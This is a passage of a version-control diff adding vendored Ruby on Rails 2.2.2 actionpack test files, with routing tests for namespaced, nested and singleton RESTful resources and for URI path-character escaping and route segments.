+      assert_singleton_restful_for :account, :name_prefix => 'admin_', :path_prefix => 'admin/'
+      assert_named_route "/admin/account/login", "login_admin_account_path", {}
+      assert_named_route "/admin/account/new", "new_admin_account_path", {}
+      assert_named_route "/admin/account/new/preview", "preview_new_admin_account_path", {}
+    end
+  end
+
+  def test_resources_in_namespace
+    with_routing do |set|
+      set.draw do |map|
+        map.namespace :backoffice do |backoffice|
+          backoffice.resources :products
+        end
+      end
+
+      assert_simply_restful_for :products, :controller => "backoffice/products", :name_prefix => 'backoffice_', :path_prefix => 'backoffice/'
+    end
+  end
+
+  def test_resource_has_many_in_namespace
+    with_routing do |set|
+      set.draw do |map|
+        map.namespace :backoffice do |backoffice|
+          backoffice.resources :products, :has_many => :tags
+        end
+      end
+
+      assert_simply_restful_for :products,  :controller => "backoffice/products", :name_prefix => 'backoffice_',          :path_prefix => 'backoffice/'
+      assert_simply_restful_for :tags,      :controller => "backoffice/tags",     :name_prefix => "backoffice_product_",  :path_prefix => 'backoffice/products/1/', :options => { :product_id => '1' }
+    end
+  end
+
+  def test_resource_has_one_in_namespace
+    with_routing do |set|
+      set.draw do |map|
+        map.namespace :backoffice do |backoffice|
+          backoffice.resources :products, :has_one => :manufacturer
+        end
+      end
+
+      assert_simply_restful_for :products, :controller => "backoffice/products", :name_prefix => 'backoffice_', :path_prefix => 'backoffice/'
+      assert_singleton_restful_for :manufacturer, :controller => "backoffice/manufacturers", :name_prefix => 'backoffice_product_', :path_prefix => 'backoffice/products/1/', :options => { :product_id => '1' }
+    end
+  end
+
+  def test_resources_in_nested_namespace
+    with_routing do |set|
+      set.draw do |map|
+        map.namespace :backoffice do |backoffice|
+          backoffice.namespace :admin do |admin|
+            admin.resources :products
+          end
+        end
+      end
+
+      assert_simply_restful_for :products, :controller => "backoffice/admin/products", :name_prefix => 'backoffice_admin_', :path_prefix => 'backoffice/admin/'
+    end
+  end
+
+  def test_resources_using_namespace
+    with_routing do |set|
+      set.draw do |map|
+        map.resources :products, :namespace => "backoffice/"
+      end
+
+      assert_simply_restful_for :products, :controller => "backoffice/products"
+    end
+  end
+
+  def test_nested_resources_using_namespace
+    with_routing do |set|
+      set.draw do |map|
+        map.namespace :backoffice do |backoffice|
+          backoffice.resources :products do |products|
+            products.resources :images
+          end
+        end
+      end
+
+      assert_simply_restful_for :images, :controller => "backoffice/images", :name_prefix => 'backoffice_product_', :path_prefix => 'backoffice/products/1/', :options => {:product_id => '1'}
+    end
+  end
+
+  def test_nested_resources_in_nested_namespace
+    with_routing do |set|
+      set.draw do |map|
+        map.namespace :backoffice do |backoffice|
+          backoffice.namespace :admin do |admin|
+            admin.resources :products do |products|
+              products.resources :images
+            end
+          end
+        end
+      end
+
+      assert_simply_restful_for :images, :controller => "backoffice/admin/images", :name_prefix => 'backoffice_admin_product_', :path_prefix => 'backoffice/admin/products/1/', :options => {:product_id => '1'}
+    end
+  end
+
+  def test_with_path_segment
+    with_restful_routing :messages, :as => 'reviews' do
+      assert_simply_restful_for :messages, :as => 'reviews'
+    end
+  end
+
+  def test_multiple_with_path_segment_and_controller
+    with_routing do |set|
+      set.draw do |map|
+        map.resources :products do |products|
+          products.resources :product_reviews, :as => 'reviews', :controller => 'messages'
+        end
+        map.resources :tutors do |tutors|
+          tutors.resources :tutor_reviews, :as => 'reviews', :controller => 'comments'
+        end
+      end
+
+      assert_simply_restful_for :product_reviews, :controller=>'messages', :as => 'reviews', :name_prefix => 'product_', :path_prefix => 'products/1/', :options => {:product_id => '1'}
+      assert_simply_restful_for :tutor_reviews,:controller=>'comments', :as => 'reviews', :name_prefix => 'tutor_', :path_prefix => 'tutors/1/', :options => {:tutor_id => '1'}
+    end
+  end
+
+  def test_with_path_segment_path_prefix_requirements
+    expected_options = {:controller => 'messages', :action => 'show', :thread_id => '1.1.1', :id => '1'}
+    with_restful_routing :messages, :as => 'comments',:path_prefix => '/thread/:thread_id', :requirements => { :thread_id => /[0-9]\.[0-9]\.[0-9]/ } do
+      assert_recognizes(expected_options, :path => 'thread/1.1.1/comments/1', :method => :get)
+    end
+  end
+
+  def test_resource_has_only_show_action
+    with_routing do |set|
+      set.draw do |map|
+        map.resources :products, :only => :show
+      end
+
+      assert_resource_allowed_routes('products', {},                    { :id => '1' }, :show, [:index, :new, :create, :edit, :update, :destroy])
+      assert_resource_allowed_routes('products', { :format => 'xml' },  { :id => '1' }, :show, [:index, :new, :create, :edit, :update, :destroy])
+    end
+  end
+
+  def test_singleton_resource_has_only_show_action
+    with_routing do |set|
+      set.draw do |map|
+        map.resource :account, :only => :show
+      end
+
+      assert_singleton_resource_allowed_routes('accounts', {},                    :show, [:index, :new, :create, :edit, :update, :destroy])
+      assert_singleton_resource_allowed_routes('accounts', { :format => 'xml' },  :show, [:index, :new, :create, :edit, :update, :destroy])
+    end
+  end
+
+  def test_resource_does_not_have_destroy_action
+    with_routing do |set|
+      set.draw do |map|
+        map.resources :products, :except => :destroy
+      end
+
+      assert_resource_allowed_routes('products', {},                    { :id => '1' }, [:index, :new, :create, :show, :edit, :update], :destroy)
+      assert_resource_allowed_routes('products', { :format => 'xml' },  { :id => '1' }, [:index, :new, :create, :show, :edit, :update], :destroy)
+    end
+  end
+
+  def test_singleton_resource_does_not_have_destroy_action
+    with_routing do |set|
+      set.draw do |map|
+        map.resource :account, :except => :destroy
+      end
+
+      assert_singleton_resource_allowed_routes('accounts', {},                    [:new, :create, :show, :edit, :update], :destroy)
+      assert_singleton_resource_allowed_routes('accounts', { :format => 'xml' },  [:new, :create, :show, :edit, :update], :destroy)
+    end
+  end
+
+  def test_resource_has_only_create_action_and_named_route
+    with_routing do |set|
+      set.draw do |map|
+        map.resources :products, :only => :create
+      end
+
+      assert_resource_allowed_routes('products', {},                    { :id => '1' }, :create, [:index, :new, :show, :edit, :update, :destroy])
+      assert_resource_allowed_routes('products', { :format => 'xml' },  { :id => '1' }, :create, [:index, :new, :show, :edit, :update, :destroy])
+
+      assert_not_nil set.named_routes[:products]
+    end
+  end
+
+  def test_resource_has_only_update_action_and_named_route
+    with_routing do |set|
+      set.draw do |map|
+        map.resources :products, :only => :update
+      end
+
+      assert_resource_allowed_routes('products', {},                    { :id => '1' }, :update, [:index, :new, :create, :show, :edit, :destroy])
+      assert_resource_allowed_routes('products', { :format => 'xml' },  { :id => '1' }, :update, [:index, :new, :create, :show, :edit, :destroy])
+
+      assert_not_nil set.named_routes[:product]
+    end
+  end
+
+  def test_resource_has_only_destroy_action_and_named_route
+    with_routing do |set|
+      set.draw do |map|
+        map.resources :products, :only => :destroy
+      end
+
+      assert_resource_allowed_routes('products', {},                    { :id => '1' }, :destroy, [:index, :new, :create, :show, :edit, :update])
+      assert_resource_allowed_routes('products', { :format => 'xml' },  { :id => '1' }, :destroy, [:index, :new, :create, :show, :edit, :update])
+
+      assert_not_nil set.named_routes[:product]
+    end
+  end
+
+  def test_singleton_resource_has_only_create_action_and_named_route
+    with_routing do |set|
+      set.draw do |map|
+        map.resource :account, :only => :create
+      end
+
+      assert_singleton_resource_allowed_routes('accounts', {},                    :create, [:new, :show, :edit, :update, :destroy])
+      assert_singleton_resource_allowed_routes('accounts', { :format => 'xml' },  :create, [:new, :show, :edit, :update, :destroy])
+
+      assert_not_nil set.named_routes[:account]
+    end
+  end
+
+  def test_singleton_resource_has_only_update_action_and_named_route
+    with_routing do |set|
+      set.draw do |map|
+        map.resource :account, :only => :update
+      end
+
+      assert_singleton_resource_allowed_routes('accounts', {},                    :update, [:new, :create, :show, :edit, :destroy])
+      assert_singleton_resource_allowed_routes('accounts', { :format => 'xml' },  :update, [:new, :create, :show, :edit, :destroy])
+
+      assert_not_nil set.named_routes[:account]
+    end
+  end
+
+  def test_singleton_resource_has_only_destroy_action_and_named_route
+    with_routing do |set|
+      set.draw do |map|
+        map.resource :account, :only => :destroy
+      end
+
+      assert_singleton_resource_allowed_routes('accounts', {},                    :destroy, [:new, :create, :show, :edit, :update])
+      assert_singleton_resource_allowed_routes('accounts', { :format => 'xml' },  :destroy, [:new, :create, :show, :edit, :update])
+
+      assert_not_nil set.named_routes[:account]
+    end
+  end
+
+  def test_resource_has_only_collection_action
+    with_routing do |set|
+      set.draw do |map|
+        map.resources :products, :except => :all, :collection => { :sale => :get }
+      end
+
+      assert_resource_allowed_routes('products', {},                    { :id => '1' }, [], [:index, :new, :create, :show, :edit, :update, :destroy])
+      assert_resource_allowed_routes('products', { :format => 'xml' },  { :id => '1' }, [], [:index, :new, :create, :show, :edit, :update, :destroy])
+
+      assert_recognizes({ :controller => 'products', :action => 'sale' },                   :path => 'products/sale',     :method => :get)
+      assert_recognizes({ :controller => 'products', :action => 'sale', :format => 'xml' }, :path => 'products/sale.xml', :method => :get)
+    end
+  end
+
+  def test_resource_has_only_member_action
+    with_routing do |set|
+      set.draw do |map|
+        map.resources :products, :except => :all, :member => { :preview => :get }
+      end
+
+      assert_resource_allowed_routes('products', {},                    { :id => '1' }, [], [:index, :new, :create, :show, :edit, :update, :destroy])
+      assert_resource_allowed_routes('products', { :format => 'xml' },  { :id => '1' }, [], [:index, :new, :create, :show, :edit, :update, :destroy])
+
+      assert_recognizes({ :controller => 'products', :action => 'preview', :id => '1' },                    :path => 'products/1/preview',      :method => :get)
+      assert_recognizes({ :controller => 'products', :action => 'preview', :id => '1', :format => 'xml' },  :path => 'products/1/preview.xml',  :method => :get)
+    end
+  end
+
+  def test_singleton_resource_has_only_member_action
+    with_routing do |set|
+      set.draw do |map|
+        map.resource :account, :except => :all, :member => { :signup => :get }
+      end
+
+      assert_singleton_resource_allowed_routes('accounts', {},                    [], [:new, :create, :show, :edit, :update, :destroy])
+      assert_singleton_resource_allowed_routes('accounts', { :format => 'xml' },  [], [:new, :create, :show, :edit, :update, :destroy])
+
+      assert_recognizes({ :controller => 'accounts', :action => 'signup' },                   :path => 'account/signup',      :method => :get)
+      assert_recognizes({ :controller => 'accounts', :action => 'signup', :format => 'xml' }, :path => 'account/signup.xml',  :method => :get)
+    end
+  end
+
+  def test_nested_resource_inherits_only_show_action
+    with_routing do |set|
+      set.draw do |map|
+        map.resources :products, :only => :show do |product|
+          product.resources :images
+        end
+      end
+
+      assert_resource_allowed_routes('images', { :product_id => '1' },                    { :id => '2' }, :show, [:index, :new, :create, :edit, :update, :destroy], 'products/1/images')
+      assert_resource_allowed_routes('images', { :product_id => '1', :format => 'xml' },  { :id => '2' }, :show, [:index, :new, :create, :edit, :update, :destroy], 'products/1/images')
+    end
+  end
+
+  def test_nested_resource_has_only_show_and_member_action
+    with_routing do |set|
+      set.draw do |map|
+        map.resources :products, :only => [:index, :show] do |product|
+          product.resources :images, :member => { :thumbnail => :get }, :only => :show
+        end
+      end
+
+      assert_resource_allowed_routes('images', { :product_id => '1' },                    { :id => '2' }, :show, [:index, :new, :create, :edit, :update, :destroy], 'products/1/images')
+      assert_resource_allowed_routes('images', { :product_id => '1', :format => 'xml' },  { :id => '2' }, :show, [:index, :new, :create, :edit, :update, :destroy], 'products/1/images')
+
+      assert_recognizes({ :controller => 'images', :action => 'thumbnail', :product_id => '1', :id => '2' },                    :path => 'products/1/images/2/thumbnail', :method => :get)
+      assert_recognizes({ :controller => 'images', :action => 'thumbnail', :product_id => '1', :id => '2', :format => 'jpg' },  :path => 'products/1/images/2/thumbnail.jpg', :method => :get)
+    end
+  end
+
+  def test_nested_resource_ignores_only_option
+    with_routing do |set|
+      set.draw do |map|
+        map.resources :products, :only => :show do |product|
+          product.resources :images, :except => :destroy
+        end
+      end
+
+      assert_resource_allowed_routes('images', { :product_id => '1' },                    { :id => '2' }, [:index, :new, :create, :show, :edit, :update], :destroy, 'products/1/images')
+      assert_resource_allowed_routes('images', { :product_id => '1', :format => 'xml' },  { :id => '2' }, [:index, :new, :create, :show, :edit, :update], :destroy, 'products/1/images')
+    end
+  end
+
+  def test_nested_resource_ignores_except_option
+    with_routing do |set|
+      set.draw do |map|
+        map.resources :products, :except => :show do |product|
+          product.resources :images, :only => :destroy
+        end
+      end
+
+      assert_resource_allowed_routes('images', { :product_id => '1' },                    { :id => '2' }, :destroy, [:index, :new, :create, :show, :edit, :update], 'products/1/images')
+      assert_resource_allowed_routes('images', { :product_id => '1', :format => 'xml' },  { :id => '2' }, :destroy, [:index, :new, :create, :show, :edit, :update], 'products/1/images')
+    end
+  end
+
+  protected
+    def with_restful_routing(*args)
+      with_routing do |set|
+        set.draw { |map| map.resources(*args) }
+        yield
+      end
+    end
+
+    def with_singleton_resources(*args)
+      with_routing do |set|
+        set.draw { |map| map.resource(*args) }
+        yield
+      end
+    end
+
+    # runs assert_restful_routes_for and assert_restful_named_routes for on the controller_name and options, without passing a block.
+    def assert_simply_restful_for(controller_name, options = {})
+      assert_restful_routes_for       controller_name, options
+      assert_restful_named_routes_for controller_name, nil, options
+    end
+
+    def assert_singleton_restful_for(singleton_name, options = {})
+      assert_singleton_routes_for       singleton_name, options
+      assert_singleton_named_routes_for singleton_name, options
+    end
+
+    def assert_restful_routes_for(controller_name, options = {})
+      options[:options] ||= {}
+      options[:options][:controller] = options[:controller] || controller_name.to_s
+
+      if options[:shallow]
+        options[:shallow_options] ||= {}
+        options[:shallow_options][:controller] = options[:options][:controller]
+      else
+        options[:shallow_options] = options[:options]
+      end
+
+      new_action    = ActionController::Base.resources_path_names[:new] || "new"
+      edit_action   = ActionController::Base.resources_path_names[:edit] || "edit"
+      if options[:path_names]
+        new_action  = options[:path_names][:new] if options[:path_names][:new]
+        edit_action = options[:path_names][:edit] if options[:path_names][:edit]
+      end
+
+      path                       = "#{options[:as] || controller_name}"
+      collection_path            = "/#{options[:path_prefix]}#{path}"
+      shallow_path               = "/#{options[:path_prefix] unless options[:shallow]}#{path}"
+      member_path                = "#{shallow_path}/1"
+      new_path                   = "#{collection_path}/#{new_action}"
+      edit_member_path           = "#{member_path}/#{edit_action}"
+      formatted_edit_member_path = "#{member_path}/#{edit_action}.xml"
+
+      with_options(options[:options]) do |controller|
+        controller.assert_routing collection_path,            :action => 'index'
+        controller.assert_routing new_path,                   :action => 'new'
+        controller.assert_routing "#{collection_path}.xml",   :action => 'index',            :format => 'xml'
+        controller.assert_routing "#{new_path}.xml",          :action => 'new',              :format => 'xml'
+      end
+
+      with_options(options[:shallow_options]) do |controller|
+        controller.assert_routing member_path,                :action => 'show', :id => '1'
+        controller.assert_routing edit_member_path,           :action => 'edit', :id => '1'
+        controller.assert_routing "#{member_path}.xml",       :action => 'show', :id => '1', :format => 'xml'
+        controller.assert_routing formatted_edit_member_path, :action => 'edit', :id => '1', :format => 'xml'
+      end
+
+      assert_recognizes(options[:options].merge(:action => 'index'),               :path => collection_path,  :method => :get)
+      assert_recognizes(options[:options].merge(:action => 'new'),                 :path => new_path,         :method => :get)
+      assert_recognizes(options[:options].merge(:action => 'create'),              :path => collection_path,  :method => :post)
+      assert_recognizes(options[:shallow_options].merge(:action => 'show',    :id => '1'), :path => member_path,      :method => :get)
+      assert_recognizes(options[:shallow_options].merge(:action => 'edit',    :id => '1'), :path => edit_member_path, :method => :get)
+      assert_recognizes(options[:shallow_options].merge(:action => 'update',  :id => '1'), :path => member_path,      :method => :put)
+      assert_recognizes(options[:shallow_options].merge(:action => 'destroy', :id => '1'), :path => member_path,      :method => :delete)
+
+      assert_recognizes(options[:options].merge(:action => 'index',  :format => 'xml'), :path => "#{collection_path}.xml",   :method => :get)
+      assert_recognizes(options[:options].merge(:action => 'new',    :format => 'xml'), :path => "#{new_path}.xml",          :method => :get)
+      assert_recognizes(options[:options].merge(:action => 'create', :format => 'xml'), :path => "#{collection_path}.xml",   :method => :post)
+      assert_recognizes(options[:shallow_options].merge(:action => 'show',    :id => '1', :format => 'xml'), :path => "#{member_path}.xml",       :method => :get)
+      assert_recognizes(options[:shallow_options].merge(:action => 'edit',    :id => '1', :format => 'xml'), :path => formatted_edit_member_path, :method => :get)
+      assert_recognizes(options[:shallow_options].merge(:action => 'update',  :id => '1', :format => 'xml'), :path => "#{member_path}.xml",       :method => :put)
+      assert_recognizes(options[:shallow_options].merge(:action => 'destroy', :id => '1', :format => 'xml'), :path => "#{member_path}.xml",       :method => :delete)
+
+      yield options[:options] if block_given?
+    end
+
+    # test named routes like foo_path and foos_path map to the correct options.
+    def assert_restful_named_routes_for(controller_name, singular_name = nil, options = {})
+      if singular_name.is_a?(Hash)
+        options       = singular_name
+        singular_name = nil
+      end
+      singular_name ||= controller_name.to_s.singularize
+
+      options[:options] ||= {}
+      options[:options][:controller] = options[:controller] || controller_name.to_s
+
+      if options[:shallow]
+        options[:shallow_options] ||= {}
+        options[:shallow_options][:controller] = options[:options][:controller]
+      else
+        options[:shallow_options] = options[:options]
+      end
+
+      @controller = "#{options[:options][:controller].camelize}Controller".constantize.new
+      @request    = ActionController::TestRequest.new
+      @response   = ActionController::TestResponse.new
+      get :index, options[:options]
+      options[:options].delete :action
+
+      path = "#{options[:as] || controller_name}"
+      shallow_path = "/#{options[:path_prefix] unless options[:shallow]}#{path}"
+      full_path = "/#{options[:path_prefix]}#{path}"
+      name_prefix = options[:name_prefix]
+      shallow_prefix = "#{options[:name_prefix] unless options[:shallow]}"
+
+      new_action  = "new"
+      edit_action = "edit"
+      if options[:path_names]
+        new_action  = options[:path_names][:new]  || "new"
+        edit_action = options[:path_names][:edit] || "edit"
+      end
+
+      assert_named_route "#{full_path}", "#{name_prefix}#{controller_name}_path", options[:options]
+      assert_named_route "#{full_path}.xml", "formatted_#{name_prefix}#{controller_name}_path", options[:options].merge(:format => 'xml')
+      assert_named_route "#{shallow_path}/1", "#{shallow_prefix}#{singular_name}_path", options[:shallow_options].merge(:id => '1')
+      assert_named_route "#{shallow_path}/1.xml", "formatted_#{shallow_prefix}#{singular_name}_path", options[:shallow_options].merge(:id => '1', :format => 'xml')
+
+      assert_named_route "#{full_path}/#{new_action}", "new_#{name_prefix}#{singular_name}_path", options[:options]
+      assert_named_route "#{full_path}/#{new_action}.xml", "formatted_new_#{name_prefix}#{singular_name}_path", options[:options].merge(:format => 'xml')
+      assert_named_route "#{shallow_path}/1/#{edit_action}", "edit_#{shallow_prefix}#{singular_name}_path", options[:shallow_options].merge(:id => '1')
+      assert_named_route "#{shallow_path}/1/#{edit_action}.xml", "formatted_edit_#{shallow_prefix}#{singular_name}_path", options[:shallow_options].merge(:id => '1', :format => 'xml')
+
+      yield options[:options] if block_given?
+    end
+
+    def assert_singleton_routes_for(singleton_name, options = {})
+      options[:options] ||= {}
+      options[:options][:controller] = options[:controller] || singleton_name.to_s.pluralize
+
+      full_path           = "/#{options[:path_prefix]}#{options[:as] || singleton_name}"
+      new_path            = "#{full_path}/new"
+      edit_path           = "#{full_path}/edit"
+      formatted_edit_path = "#{full_path}/edit.xml"
+
+      with_options options[:options] do |controller|
+        controller.assert_routing full_path,           :action => 'show'
+        controller.assert_routing new_path,            :action => 'new'
+        controller.assert_routing edit_path,           :action => 'edit'
+        controller.assert_routing "#{full_path}.xml",  :action => 'show', :format => 'xml'
+        controller.assert_routing "#{new_path}.xml",   :action => 'new',  :format => 'xml'
+        controller.assert_routing formatted_edit_path, :action => 'edit', :format => 'xml'
+      end
+
+      assert_recognizes(options[:options].merge(:action => 'show'),    :path => full_path, :method => :get)
+      assert_recognizes(options[:options].merge(:action => 'new'),     :path => new_path,  :method => :get)
+      assert_recognizes(options[:options].merge(:action => 'edit'),    :path => edit_path, :method => :get)
+      assert_recognizes(options[:options].merge(:action => 'create'),  :path => full_path, :method => :post)
+      assert_recognizes(options[:options].merge(:action => 'update'),  :path => full_path, :method => :put)
+      assert_recognizes(options[:options].merge(:action => 'destroy'), :path => full_path, :method => :delete)
+
+      assert_recognizes(options[:options].merge(:action => 'show',    :format => 'xml'), :path => "#{full_path}.xml",  :method => :get)
+      assert_recognizes(options[:options].merge(:action => 'new',     :format => 'xml'), :path => "#{new_path}.xml",   :method => :get)
+      assert_recognizes(options[:options].merge(:action => 'edit',    :format => 'xml'), :path => formatted_edit_path, :method => :get)
+      assert_recognizes(options[:options].merge(:action => 'create',  :format => 'xml'), :path => "#{full_path}.xml",  :method => :post)
+      assert_recognizes(options[:options].merge(:action => 'update',  :format => 'xml'), :path => "#{full_path}.xml",  :method => :put)
+      assert_recognizes(options[:options].merge(:action => 'destroy', :format => 'xml'), :path => "#{full_path}.xml",  :method => :delete)
+
+      yield options[:options] if block_given?
+    end
+
+    def assert_singleton_named_routes_for(singleton_name, options = {})
+      (options[:options] ||= {})[:controller] ||= singleton_name.to_s.pluralize
+      @controller = "#{options[:options][:controller].camelize}Controller".constantize.new
+      @request    = ActionController::TestRequest.new
+      @response   = ActionController::TestResponse.new
+      get :show, options[:options]
+      options[:options].delete :action
+
+      full_path = "/#{options[:path_prefix]}#{options[:as] || singleton_name}"
+      name_prefix = options[:name_prefix]
+
+      assert_named_route "#{full_path}",          "#{name_prefix}#{singleton_name}_path",                options[:options]
+      assert_named_route "#{full_path}.xml",      "formatted_#{name_prefix}#{singleton_name}_path",      options[:options].merge(:format => 'xml')
+
+      assert_named_route "#{full_path}/new",      "new_#{name_prefix}#{singleton_name}_path",            options[:options]
+      assert_named_route "#{full_path}/new.xml",  "formatted_new_#{name_prefix}#{singleton_name}_path",  options[:options].merge(:format => 'xml')
+      assert_named_route "#{full_path}/edit",     "edit_#{name_prefix}#{singleton_name}_path",           options[:options]
+      assert_named_route "#{full_path}/edit.xml", "formatted_edit_#{name_prefix}#{singleton_name}_path", options[:options].merge(:format => 'xml')
+    end
+
+    def assert_named_route(expected, route, options)
+      actual =  @controller.send(route, options) rescue $!.class.name
+      assert_equal expected, actual, "Error on route: #{route}(#{options.inspect})"
+    end
+
+    def assert_resource_methods(expected, resource, action_method, method)
+      assert_equal expected.length, resource.send("#{action_method}_methods")[method].size, "#{resource.send("#{action_method}_methods")[method].inspect}"
+      expected.each do |action|
+        assert resource.send("#{action_method}_methods")[method].include?(action),
+          "#{method} not in #{action_method} methods: #{resource.send("#{action_method}_methods")[method].inspect}"
+      end
+    end
+
+    def assert_resource_allowed_routes(controller, options, shallow_options, allowed, not_allowed, path = controller)
+      shallow_path = "#{path}/#{shallow_options[:id]}"
+      format = options[:format] && ".#{options[:format]}"
+      options.merge!(:controller => controller)
+      shallow_options.merge!(options)
+
+      assert_whether_allowed(allowed, not_allowed, options,         'index',    "#{path}#{format}",               :get)
+      assert_whether_allowed(allowed, not_allowed, options,         'new',      "#{path}/new#{format}",           :get)
+      assert_whether_allowed(allowed, not_allowed, options,         'create',   "#{path}#{format}",               :post)
+      assert_whether_allowed(allowed, not_allowed, shallow_options, 'show',     "#{shallow_path}#{format}",       :get)
+      assert_whether_allowed(allowed, not_allowed, shallow_options, 'edit',     "#{shallow_path}/edit#{format}",  :get)
+      assert_whether_allowed(allowed, not_allowed, shallow_options, 'update',   "#{shallow_path}#{format}",       :put)
+      assert_whether_allowed(allowed, not_allowed, shallow_options, 'destroy',  "#{shallow_path}#{format}",       :delete)
+    end
+
+    def assert_singleton_resource_allowed_routes(controller, options, allowed, not_allowed, path = controller.singularize)
+      format = options[:format] && ".#{options[:format]}"
+      options.merge!(:controller => controller)
+
+      assert_whether_allowed(allowed, not_allowed, options, 'new',      "#{path}/new#{format}",   :get)
+      assert_whether_allowed(allowed, not_allowed, options, 'create',   "#{path}#{format}",       :post)
+      assert_whether_allowed(allowed, not_allowed, options, 'show',     "#{path}#{format}",       :get)
+      assert_whether_allowed(allowed, not_allowed, options, 'edit',     "#{path}/edit#{format}",  :get)
+      assert_whether_allowed(allowed, not_allowed, options, 'update',   "#{path}#{format}",       :put)
+      assert_whether_allowed(allowed, not_allowed, options, 'destroy',  "#{path}#{format}",       :delete)
+    end
+
+    def assert_whether_allowed(allowed, not_allowed, options, action, path, method)
+      action = action.to_sym
+      options = options.merge(:action => action.to_s)
+      path_options = { :path => path, :method => method }
+
+      if Array(allowed).include?(action)
+        assert_recognizes options, path_options
+      elsif Array(not_allowed).include?(action)
+        assert_not_recognizes options, path_options
+      end
+    end
+
+    def assert_not_recognizes(expected_options, path)
+      assert_raise ActionController::RoutingError, ActionController::MethodNotAllowed, Test::Unit::AssertionFailedError do
+        assert_recognizes(expected_options, path)
+      end
+    end
+
+    def distinct_routes? (r1, r2)
+      if r1.conditions == r2.conditions and r1.requirements == r2.requirements then
+        if r1.segments.collect(&:to_s) == r2.segments.collect(&:to_s) then
+          return false
+        end
+      end
+      true
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/routing_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/routing_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/routing_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2464 @@
+require 'abstract_unit'
+require 'controller/fake_controllers'
+require 'action_controller/routing'
+
+class MilestonesController < ActionController::Base
+  def index() head :ok end
+  alias_method :show, :index
+  def rescue_action(e) raise e end
+end
+
+RunTimeTests = ARGV.include? 'time'
+ROUTING = ActionController::Routing
+
+class ROUTING::RouteBuilder
+  attr_reader :warn_output
+
+  def warn(msg)
+    (@warn_output ||= []) << msg
+  end
+end
+
+# See RFC 3986, section 3.3 for allowed path characters.
+class UriReservedCharactersRoutingTest < Test::Unit::TestCase
+  def setup
+    ActionController::Routing.use_controllers! ['controller']
+    @set = ActionController::Routing::RouteSet.new
+    @set.draw do |map|
+      map.connect ':controller/:action/:variable/*additional'
+    end
+
+    safe, unsafe = %w(: @ & = + $ , ;), %w(^ / ? # [ ])
+    hex = unsafe.map { |char| '%' + char.unpack('H2').first.upcase }
+
+    @segment = "#{safe.join}#{unsafe.join}".freeze
+    @escaped = "#{safe.join}#{hex.join}".freeze
+  end
+
+  def test_route_generation_escapes_unsafe_path_characters
+    assert_equal "/contr#{@segment}oller/act#{@escaped}ion/var#{@escaped}iable/add#{@escaped}itional-1/add#{@escaped}itional-2",
+      @set.generate(:controller => "contr#{@segment}oller",
+                    :action => "act#{@segment}ion",
+                    :variable => "var#{@segment}iable",
+                    :additional => ["add#{@segment}itional-1", "add#{@segment}itional-2"])
+  end
+
+  def test_route_recognition_unescapes_path_components
+    options = { :controller => "controller",
+                :action => "act#{@segment}ion",
+                :variable => "var#{@segment}iable",
+                :additional => ["add#{@segment}itional-1", "add#{@segment}itional-2"] }
+    assert_equal options, @set.recognize_path("/controller/act#{@escaped}ion/var#{@escaped}iable/add#{@escaped}itional-1/add#{@escaped}itional-2")
+  end
+
+  def test_route_generation_allows_passing_non_string_values_to_generated_helper
+    assert_equal "/controller/action/variable/1/2", @set.generate(:controller => "controller",
+                                                                  :action => "action",
+                                                                  :variable => "variable",
+                                                                  :additional => [1, 2])
+  end
+end
+
+class SegmentTest < Test::Unit::TestCase
+  def test_first_segment_should_interpolate_for_structure
+    s = ROUTING::Segment.new
+    def s.interpolation_statement(array) 'hello' end
+    assert_equal 'hello', s.continue_string_structure([])
+  end
+
+  def test_interpolation_statement
+    s = ROUTING::StaticSegment.new("Hello")
+    assert_equal "Hello", eval(s.interpolation_statement([]))
+    assert_equal "HelloHello", eval(s.interpolation_statement([s]))
+
+    s2 = ROUTING::StaticSegment.new("-")
+    assert_equal "Hello-Hello", eval(s.interpolation_statement([s, s2]))
+
+    s3 = ROUTING::StaticSegment.new("World")
+    assert_equal "Hello-World", eval(s3.interpolation_statement([s, s2]))
+  end
+end
+
+class StaticSegmentTest < Test::Unit::TestCase
+  def test_interpolation_chunk_should_respect_raw
+    s = ROUTING::StaticSegment.new('Hello World')
+    assert !s.raw?
+    assert_equal 'Hello%20World', s.interpolation_chunk
+
+    s = ROUTING::StaticSegment.new('Hello World', :raw => true)
+    assert s.raw?
+    assert_equal 'Hello World', s.interpolation_chunk
+  end
+
+  def test_regexp_chunk_should_escape_specials
+    s = ROUTING::StaticSegment.new('Hello*World')
+    assert_equal 'Hello\*World', s.regexp_chunk
+
+    s = ROUTING::StaticSegment.new('HelloWorld')
+    assert_equal 'HelloWorld', s.regexp_chunk
+  end
+
+  def test_regexp_chunk_should_add_question_mark_for_optionals
+    s = ROUTING::StaticSegment.new("/", :optional => true)
+    assert_equal "/?", s.regexp_chunk
+
+    s = ROUTING::StaticSegment.new("hello", :optional => true)
+    assert_equal "(?:hello)?", s.regexp_chunk
+  end
+end
+
+class DynamicSegmentTest < Test::Unit::TestCase
+  def segment(options = {})
+    unless @segment
+      @segment = ROUTING::DynamicSegment.new(:a, options)
+    end
+    @segment
+  end
+
+  def test_extract_value
+    s = ROUTING::DynamicSegment.new(:a)
+
+    hash = {:a => '10', :b => '20'}
+    assert_equal '10', eval(s.extract_value)
+
+    hash = {:b => '20'}
+    assert_equal nil, eval(s.extract_value)
+
+    s.default = '20'
+    assert_equal '20', eval(s.extract_value)
+  end
+
+  def test_default_local_name
+    assert_equal 'a_value', segment.local_name,
+      "Unexpected name -- all value_check tests will fail!"
+  end
+
+  def test_presence_value_check
+    a_value = 10
+    assert eval(segment.value_check)
+  end
+
+  def test_regexp_value_check_rejects_nil
+    segment = segment(:regexp => /\d+/)
+
+    a_value = nil
+    assert !eval(segment.value_check)
+  end
+
+  def test_optional_regexp_value_check_should_accept_nil
+    segment = segment(:regexp => /\d+/, :optional => true)
+
+    a_value = nil
+    assert eval(segment.value_check)
+  end
+
+  def test_regexp_value_check_rejects_no_match
+    segment = segment(:regexp => /\d+/)
+
+    a_value = "Hello20World"
+    assert !eval(segment.value_check)
+
+    a_value = "20Hi"
+    assert !eval(segment.value_check)
+  end
+
+  def test_regexp_value_check_accepts_match
+    segment = segment(:regexp => /\d+/)
+    a_value = "30"
+    assert eval(segment.value_check)
+  end
+
